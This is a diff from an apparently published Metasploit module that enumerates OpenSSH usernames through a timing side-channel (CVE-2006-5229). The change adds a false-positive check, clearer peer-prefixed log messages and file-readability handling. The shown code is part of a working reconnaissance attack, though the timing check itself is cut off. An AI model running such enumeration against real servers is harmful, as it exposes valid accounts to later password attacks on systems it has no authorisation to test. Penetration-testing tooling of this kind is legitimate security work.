@@ -16,17 +16,17 @@ def initialize(info = {})
16
16
super ( update_info ( info ,
17
17
'Name' => 'SSH Username Enumeration' ,
18
18
'Description' => %q{
19
- This module uses a time-based attack to enumerate users in a OpenSSH server.
20
- On some versions of OpenSSH under some configurations, OpenSSH will prompt
21
- for a password for an invalid user faster than for a valid user.
22
- } ,
23
- 'Author' => [ 'kenkeiras' ] ,
24
- 'References' =>
25
- [
26
- [ 'CVE' , '2006-5229' ] ,
27
- [ 'OSVDB' , '32721' ] ,
28
- [ 'BID' , '20418' ]
29
- ] ,
19
+ This module uses a time-based attack to enumerate users on an OpenSSH server.
20
+ On some versions of OpenSSH under some configurations, OpenSSH will return a
21
+ "permission denied" error for an invalid user faster than for a valid user.
22
+ } ,
23
+ 'Author' => [ 'kenkeiras' ] ,
24
+ 'References' =>
25
+ [
26
+ [ 'CVE' , '2006-5229' ] ,
27
+ [ 'OSVDB' , '32721' ] ,
28
+ [ 'BID' , '20418' ]
29
+ ] ,
30
30
'License' => MSF_LICENSE
31
31
) )
32
32
@@ -69,6 +69,13 @@ def threshold
69
69
datastore [ 'THRESHOLD' ]
70
70
end
71
71
72
+ # Returns true if a nonsense username appears active.
73
+ def check_false_positive ( ip )
74
+ user = Rex ::Text . rand_text_alphanumeric ( 8 )
75
+ result = attempt_user ( user , ip )
76
+ return ( result == :success )
77
+ end
78
+
72
79
def check_user ( ip , user , port )
73
80
pass = Rex ::Text . rand_text_alphanumeric ( 64_000 )
74
81
@@ -119,8 +126,18 @@ def do_report(ip, user, port)
119
126
)
120
127
end
121
128
129
+ # Because this isn't using the AuthBrute mixin, we don't have the
130
+ # usual peer method
131
+ def peer ( rhost = nil )
132
+ "#{ rhost } :#{ rport } - SSH -"
133
+ end
134
+
122
135
def user_list
123
- File . new ( datastore [ 'USER_FILE' ] ) . read . split
136
+ if File . readable? datastore [ 'USER_FILE' ]
137
+ File . new ( datastore [ 'USER_FILE' ] ) . read . split
138
+ else
139
+ raise ArgumentError , "Cannot read file #{ datastore [ 'USER_FILE' ] } "
140
+ end
124
141
end
125
142
126
143
def attempt_user ( user , ip )
@@ -130,7 +147,7 @@ def attempt_user(user, ip)
130
147
while attempt_num <= retry_num and ( ret . nil? or ret == :connection_error )
131
148
if attempt_num > 0
132
149
Rex . sleep ( 2 ** attempt_num )
133
- print_debug "Retrying ' #{ user } ' on '#{ ip } ' due to connection error"
150
+ print_debug "#{ peer ( ip ) } Retrying '#{ user } ' due to connection error"
134
151
end
135
152
136
153
ret = check_user ( ip , user , rport )
@@ -143,18 +160,24 @@ def attempt_user(user, ip)
143
160
def show_result ( attempt_result , user , ip )
144
161
case attempt_result
145
162
when :success
146
- print_good "User '#{ user } ' found on #{ ip } "
163
+ print_good "#{ peer ( ip ) } User '#{ user } ' found"
147
164
do_report ( ip , user , rport )
148
165
when :connection_error
149
- print_error "User '#{ user } ' on #{ ip } could not connect"
166
+ print_error "#{ peer ( ip ) } User '#{ user } ' on could not connect"
150
167
when :fail
151
- print_debug "User '#{ user } ' not found on #{ ip } "
168
+ print_debug "#{ peer ( ip ) } User '#{ user } ' not found"
152
169
end
153
170
end
154
171
155
172
def run_host ( ip )
156
- print_status "Starting scan on #{ ip } "
157
- user_list . each { |user | show_result ( attempt_user ( user , ip ) , user , ip ) }
173
+ print_status "#{ peer ( ip ) } Checking for false positives"
174
+ if check_false_positive ( ip )
175
+ print_error "#{ peer ( ip ) } throws false positive results. Aborting."
176
+ return
177
+ else
178
+ print_status "#{ peer ( ip ) } Starting scan"
179
+ user_list . each { |user | show_result ( attempt_user ( user , ip ) , user , ip ) }
180
+ end
158
181
end
159
182
160
183
end
0 commit comments